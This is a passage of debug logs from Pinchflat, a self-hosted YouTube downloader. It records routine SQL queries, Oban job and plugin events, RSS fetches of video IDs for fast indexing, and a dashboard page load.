s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:51:36.223 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:51:36.223 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:51:36.223 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 19:51:36.249 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 19:51:36.249 [debug] QUERY OK source="media_items" db=0.1ms idle=26.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 19:51:36.251 [debug] QUERY OK source="media_items" db=1.6ms idle=26.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 19:51:36.251 [debug] QUERY OK source="tasks" db=0.0ms idle=28.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [771, 3, ~U[2026-07-24 19:51:36Z], ~U[2026-07-24 19:51:36Z]] 19:51:36.251 [info] {"args":{"id":3},"id":768,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":29379,"event":"job:stop","queue_time":572790,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:51:36.252 [debug] QUERY OK source="tasks" db=0.2ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:51:57.593 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:00.938 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:52:27.594 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:57.595 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:00.939 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:53:27.596 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:57.597 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:00.939 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:54:27.598 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:57.599 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:00.941 [info] {"source":"oban","duration":274,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:55:27.600 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:57.601 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:00.941 [info] {"source":"oban","duration":141,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:56:27.602 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:57.603 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:00.942 [info] {"source":"oban","duration":115,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:57:27.603 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:57.605 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.944 [info] {"source":"oban","duration":147,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:58:27.606 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:57.607 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.944 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:59:27.608 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:51.158 [info] GET / 19:59:51.158 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 19:59:51.159 [debug] QUERY OK source="settings" db=0.1ms idle=1775.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:59:51.159 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1775.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 19:59:51.159 [debug] QUERY OK source="sources" db=0.0ms idle=1775.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 19:59:51.162 [debug] QUERY OK source="media_items" db=3.2ms idle=1386.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:59:51.163 [debug] QUERY OK source="media_items" db=0.2ms idle=388.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:59:51.163 [debug] QUERY OK source="settings" db=0.0ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:59:51.163 [debug] QUERY OK source="settings" db=0.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:59:51.163 [debug] QUERY OK source="settings" db=0.0ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:59:51.164 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:59:51.165 [debug] QUERY OK source="media_items" db=1.5ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:59:51.166 [debug] QUERY OK source="sources" db=0.0ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 19:59:51.170 [debug] QUERY OK source="media_items" db=4.4ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 19:59:51.176 [debug] QUERY OK source="media_items" db=5.8ms idle=7.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:59:51.177 [debug] QUERY OK source="tasks" db=0.1ms idle=13.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:59:51.177 [info] Sent 200 in 18ms 19:59:57.609 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.945 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:00:27.610 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:57.611 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:00.947 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:01:12.874 [info] {"args":{"id":2},"id":769,"meta":{},"system_time":1784923272874542207,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:01:12.877 [debug] QUERY OK source="tasks" db=2.6ms idle=490.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:01:12.877 [debug] QUERY OK source="sources" db=2.9ms queue=0.1ms idle=489.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:01:12.878 [debug] QUERY OK source="sources" db=0.3ms idle=492.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:01:12.878 [debug] QUERY OK source="settings" db=0.7ms idle=9.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:01:12.878 [debug] QUERY OK source="media_profiles" db=0.0ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:01:12.879 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:01:12.879 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 20:01:12.995 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 20:01:12.995 [debug] QUERY OK source="media_items" db=0.2ms idle=117.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 20:01:12.996 [debug] QUERY OK source="media_items" db=0.2ms idle=117.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 20:01:12.996 [debug] QUERY OK source="tasks" db=0.0ms idle=117.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [772, 2, ~U[2026-07-24 20:01:12Z], ~U[2026-07-24 20:01:12Z]] 20:01:12.997 [info] {"args":{"id":2},"id":769,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":122451,"event":"job:stop","queue_time":555671,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:01:12.997 [debug] QUERY OK source="tasks" db=0.1ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:01:21.884 [info] {"args":{"id":1},"id":770,"meta":{},"system_time":1784923281884139264,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:01:21.884 [debug] QUERY OK source="sources" db=0.1ms idle=1498.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:01:21.884 [debug] QUERY OK source="settings" db=0.0ms idle=1007.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:01:21.884 [debug] QUERY OK source="tasks" db=0.3ms idle=1498.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:01:21.884 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:01:21.884 [debug] QUERY OK source="sources" db=0.1ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:01:21.885 [debug] QUERY OK source="settings" db=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", 